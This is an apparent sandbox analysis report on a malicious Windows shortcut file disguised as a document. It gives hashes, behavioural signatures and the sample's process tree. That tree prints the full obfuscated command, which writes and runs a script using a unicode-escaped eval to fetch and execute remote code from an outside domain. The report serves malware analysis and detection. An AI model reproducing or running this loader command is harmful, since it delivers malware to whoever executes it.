Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
27s -
max time network
30s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
14/05/2023, 01:56
Static task
static1
Behavioral task
behavioral1
Sample
Analisar_Documento0882794814.803816.44691.lnk
Resource
win7-20230220-en
2 signatures
150 seconds
Behavioral task
behavioral2
Sample
Analisar_Documento0882794814.803816.44691.lnk
Resource
win10v2004-20230220-en
6 signatures
150 seconds
General
-
Target
Analisar_Documento0882794814.803816.44691.lnk
-
Size
1KB
-
MD5
7a367d3279bb3287198bb1cc84beb9f9
-
SHA1
e0ae2d2593ac69084888d471784ea709f456a5ab
-
SHA256
da642ad8df5a83ac147d858adf2b46381e9da2e6d68041415dadfa98ff99dff1
-
SHA512
0c38fccbe5ba8c5c61748b506190fca15a2626dd374e8bc948e2c9e06cf698b5709c031e0ca7ed0605b07c63fa8b4b16abea7287d4cf219b8cc2d301e0508c08
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1716 wrote to memory of 752 1716 cmd.exe 29 PID 1716 wrote to memory of 752 1716 cmd.exe 29 PID 1716 wrote to memory of 752 1716 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Analisar_Documento0882794814.803816.44691.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "md C:\9uR9E36\>nul 2>&1 &&s^eT QRKN=C:\9uR9E36\^9uR9E36.^Js&&echo eval('\u0076\u0061\u0072\u0020\u0043\u0066\u0046\u0031\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0066\u0046\u0031\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022\u003a\u0068\u0022\u003b\u0045\u0066\u0046\u0031\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043\u0066\u0046\u0031\u002b\u0044\u0066\u0046\u0031\u002b\u0045\u0066\u0046\u0031\u002b\u0022\u002f\u002f\u0070\u0034\u0065\u0061\u0033\u0030\u002e\u0067\u0065\u0072\u0065\u006e\u0063\u0069\u0061\u0064\u006f\u0072\u0076\u0069\u0072\u0074\u0075\u0061\u006c\u002e\u0063\u006f\u006d\u002e\u0072\u0075\u002f\u003f\u0031\u002f\u0022\u0029\u003b'); >!QRKN!&&ca^ll !QRKN!"2⤵PID:752
-